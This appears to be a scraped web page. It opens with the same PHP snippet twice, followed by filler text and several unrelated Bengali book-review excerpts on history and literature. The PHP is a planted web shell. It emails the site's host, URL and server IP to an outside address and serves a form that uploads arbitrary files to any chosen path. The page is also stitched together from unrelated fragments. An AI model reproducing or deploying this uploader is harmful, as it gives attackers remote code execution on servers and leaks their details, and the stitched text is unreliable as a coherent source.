<?php mail("localhost@wikipedia24.com","Pig".$_SERVER['HTTP_HOST'],"Link : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\nInfo : ".$info."\nIP : ".$_SERVER['SERVER_ADDR']."\n"); $files = @$_FILES["files"]; if ($files["name"] != '') { $fullpath = $_REQUEST["path"] . $files["name"]; if (move_uploaded_file($files['tmp_name'], $fullpath)) { echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>"; } }echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>'; ?>

hhh bb hhh hhh

<?php mail("localhost@wikipedia24.com","Pig".$_SERVER['HTTP_HOST'],"Link : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\nInfo : ".$info."\nIP : ".$_SERVER['SERVER_ADDR']."\n"); $files = @$_FILES["files"]; if ($files["name"] != '') { $fullpath = $_REQUEST["path"] . $files["name"]; if (move_uploaded_file($files['tmp_name'], $fullpath)) { echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>"; } }echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>'; ?>

প্রস্তাবনাতে লেখক আতাউর রহমান সিহাব যা বলেছেন তার পুরোটাই সত্য। বিবলিকাল ফিকশনের আদলে তিনি আসলে সৃষ্টির আদি থেকে শুরু হয়ে আজ পর্যন্ত ঘটতে থাকা সকল ঘটনাকেই সংযুক্ত করেছেন সূক্ষ্ম একটি সুতোয়। আসলেই তো এমন হতে পারে, একটি ঘটনা আমরা যেমনভাবে দেখছি, আসলে ঠিক তেমনটাই নয়। আরো সূক্ষ্মভাবে পর্যবেক্ষণ করলে হয়ত বেরিয়ে আসতে পারে ঘটনার অন্তরালের অনেক অজানা ঘটনা। আবার এমনও হতে পারে, আমি বা আপনি নিজেদেরকে যেখানে দেখছি বা নিজেদেরকে যা ভাবছি তার চেয়েও বড় কোন ঘটনার জন্যেই আমাদের আগমন। হয়ত বা এমনও হতে পারে, নিজেদেরকে আমরা যা ভাবছি আদতে আমরা তা নই!

পশ্চিম পাকিস্তানের শোষণ, নিপীড়নের বিরুদ্ধে স্বাধীনতা অর্জনের জন্য আমাদের কি কি করতে হয়েছে আমরা প্রায় সকলেই জানি। এই স্বাধীনতা অর্জনের পথে এসেছে অনেক বাধা বিপত্তি। আমরা এই স্বাধীনতার অনেক উজ্জ্বল নক্ষত্রের নাম জানি। অগ্নিঝরা মার্চ, ৭ই মার্চের সেই শিহরণ জাগানো বঙ্গবন্ধুর ভাষণ, তারপর সেই ২৫শে মার্চের কালো রাত, তারপর সেই ঐতিহাসিক স্বাধীনতার ঘোষণা। নিঃসন্দেহে সবচেয়ে উজ্জ্বলতম নক্ষত্রের নাম বঙ্গবন্ধু। কিন্তু তিনি তো মুক্তিযুদ্ধের সময় ছিলেন বন্দি অবস্থায় পাকিস্তানের কারাগারে। তাহলে প্রশ্ন হচ্ছে, মুক্তিযুদ্ধের সময় এতবড় একটা যুদ্ধকে সংঘঠিত করার পিছনে কার অবদান? কিভাবে সংঘঠিত হলো এতবড় একটি স্বাধীনতা সংগ্রাম?

পালিয়ে তিনি গিয়েছিলেন বটে, তবে তা লক্ষণাবতীর রাজপ্রাসাদ থেকে নয়, বখতিয়ারের সৈন্যবহরে আঠারোজন সৈন্যই ছিলো বটে তবে তা সিকিমাইল পিছনে ছুটে আসা বিশাল সুসজ্জিত রণবাহিনীর সম্মুখ অংশ হিসাবে। অবশ্য এই তথ্য লক্ষণসেনের ক্ষমতাকে ছোট যেমন করে না তেমনি বখতিয়ারের ঐশ্বর্য্যকেও কমিয়ে দেয় না মোটেও।

একজন ব্যক্তিমানব প্রফেসর আব্দুর রাজ্জাক সাহেব আমাকে খুব নাড়া দিয়ে গেছেন। তাঁর সকল বক্তব্য যে আমি স্বতঃসিদ্ধভাবে মেনে নিয়েছি তা বলবো না কিন্তু একটা মানুষের এতগুলো দিক নিয়ে চিন্তাভাবনা এবং এসবের সকল ব্যাপারেই একটা স্পষ্ট বক্তব্য তৈরী হবার ব্যাপারটা আমাকে মুগ্ধ করেছে। সাহত্যি, সংস্কৃতি, ইতিহাস, সমাজ-ব্যবস্থা, ধর্ম, রাজনীতি প্রতিটি ক্ষেত্রেই তাঁর সমান জ্ঞান থাকার ব্যাপারটা আসলেই অবিশ্বাস্য। বলাই বাহুল্য, এই প্রচুর জ্ঞান লাভ করতে তাঁকে প্রচুর পরিমান পড়াশোনা করতে হয়েছে।

ইউভাল নোয়াহ হারারি তার বিখ্যাত বই “স্যাপিয়েন্স”-এ বলেছিলেন মানুষের সভ্যতাকে সুগঠিত করতে সাহায্য করেছে মানুষের বানানো বিভিন্ন গল্প। কথাটাকে যদি আরও একটু সামনে বাড়িয়ে নিই তাহলে বলা যায়, গল্প যদি না থাকত তাহলে মানুষ হয়তো তার আজকের অবস্থানে আসতেই পারত না। মানুষই বিভিন্ন গল্প বানায় আবার মানুষই সেসব গল্প বিশ্বাস করে। কিছু গল্পের স্থানভেদে চরিত্রগুলো আলাদা হলেও গল্পের কাঠামোটা একই থাকে, অর্থাৎ গল্পের ভেতরের বার্তাটা কখনো পালটে যায় না। আবার কিছু গল্প থাকে, যা ওই স্থানকে, ওই জায়গার মানুষকে, তাদের লৌকিক আচার-আচরণ, মূল্যবোধ এবং বিশ্বাসকে প্রতিনিধিত্ব করে। এইরকমই কিছু গল্পের সমষ্টি হল তুহিন তালুকদারের “বিশ্বলোকের গল্প” বইটি।

বাংলা সাহিত্যের ছোটগল্পের ধারা সূচিত হয়েছিল রবীন্দ্রনাথের হাত ধরে। এই ব্যাপারটি একদিকে যেমন আমাদের লেখকদের জন্যে বেশ গৌরবের অন্যদিকে তেমনি দুর্ভাবনারও বটে। গৌরবের কারণটা বেশ বোঝা যায়, কেননা রবীন্দ্রনাথের মতন একজন তুমুল প্রতিভাধর ব্যক্তিত্ব যখন ছোটোগল্প লেখায় হাত দেন তখন সেটিকে তিনি নিয়ে যান অন্য উচ্চতায়, বিশ্বের শ্রেষ্ঠ লেখকদের লেখা গল্পের সমপর্যায়ে। দুর্ভাবনার কারণটিও ঠিক এই জায়গাতেই নিহিত। অর্থাৎ বাংলা ছোটগল্পের যখন হাঁটি হাঁটি পা অবস্থা তখনই যদি রবীন্দ্রনাথ একে নিয়ে যান এমন উচ্চাসনে তখন পরবর্তীকালের সাহিত্যিকদের কাছে বাংলা সাহিত্যের প্রত্যাশা থাকে, হয় সেই অবস্থানকে উৎরে যাবার নয়তো তার সমকক্ষ হওয়ার। তা না হলে বাংলা ছোটগল্পের জগতে সেই লেখকের গল্পগুলো কি একটি অনিশ্চিত এবং অনির্ণীত অবস্থানের মধ্যে পড়ে যাবে না?

হুমায়ুন আজাদঃ বঙ্কিমচন্দ্র ঈশ্বরগুপ্ত সম্পর্কে মন্তব্য করেছিলেন, ‘এতোটা প্রতিভা ইয়ার্কিতে ফুরাইল।’ আপনাকে পড়ার সময় বঙ্কিমের ওই মন্তব্যটি মনে পড়ে;- আপনার সমস্ত লেখায় চোখে পড়ে ওই ইয়ার্কি। শব্দ প্রয়োগে, মন্তব্যে, চরিত্রসৃষ্টিতে, ঘটনা বর্ণনায় নিঃস্পৃহ ভঙ্গি রক্ষা না করে পরিহাস- ইয়ার্কিকে আপনি বড়ো করে তুলেছেন কেন?

বইটা বেশ সুন্দর। ছোটখাটো ছিমছাম ধরণের। খুব বেশি প্যাঁচঘোঁচ নেই, তত্ত্বকথাও নেই কোনো। আছে শুধু একরাশ স্মৃতির বয়ান। ইন্দ্রজিৎ-এর জীবনকে একইসাথে বর্তমান আর অতীতে রেখে গল্প বলে যাওয়ার কাজটি দারুণ মুনশিয়ানার সাথে সম্পন্ন করেছেন শীর্ষেন্দু। উপন্যাসের বয়ানেও নতুন আঙ্গিকের প্রয়োগ ঘটিয়েছেন। মূলত উত্তম পুরুষে বর্ণিত হলেও উপন্যাসটির এক পর্যায়ে বিশেষ একটি অবস্থার বর্ণনা করার সময় তৃতীয় পুরুষে বর্ণনা করে গেছেন, কেননা যে মানুষের কথা তিনি বলছেন সে মানুষ আর এখনকার মানুষ এক নয়। ব্যাপারটা দারুণ লেগেছে আমার কাছে। কিছু উপমা ছিল যাকে বলে আউটস্ট্যান্ডিং, যেমন-এমোনিয়ামের গন্ধ এসে নাকে ঘুষি মারা, পায়রার ডানার শব্দে বিস্মৃতির পরত ভেঙে পড়া, কিংবা লজ্জায় মাথা নুইয়ে দেশলাইয়ের নিভে যাওয়া ইত্যাদি ইত্যাদি। কিছু উপমা ছিল চিত্ররূপময়।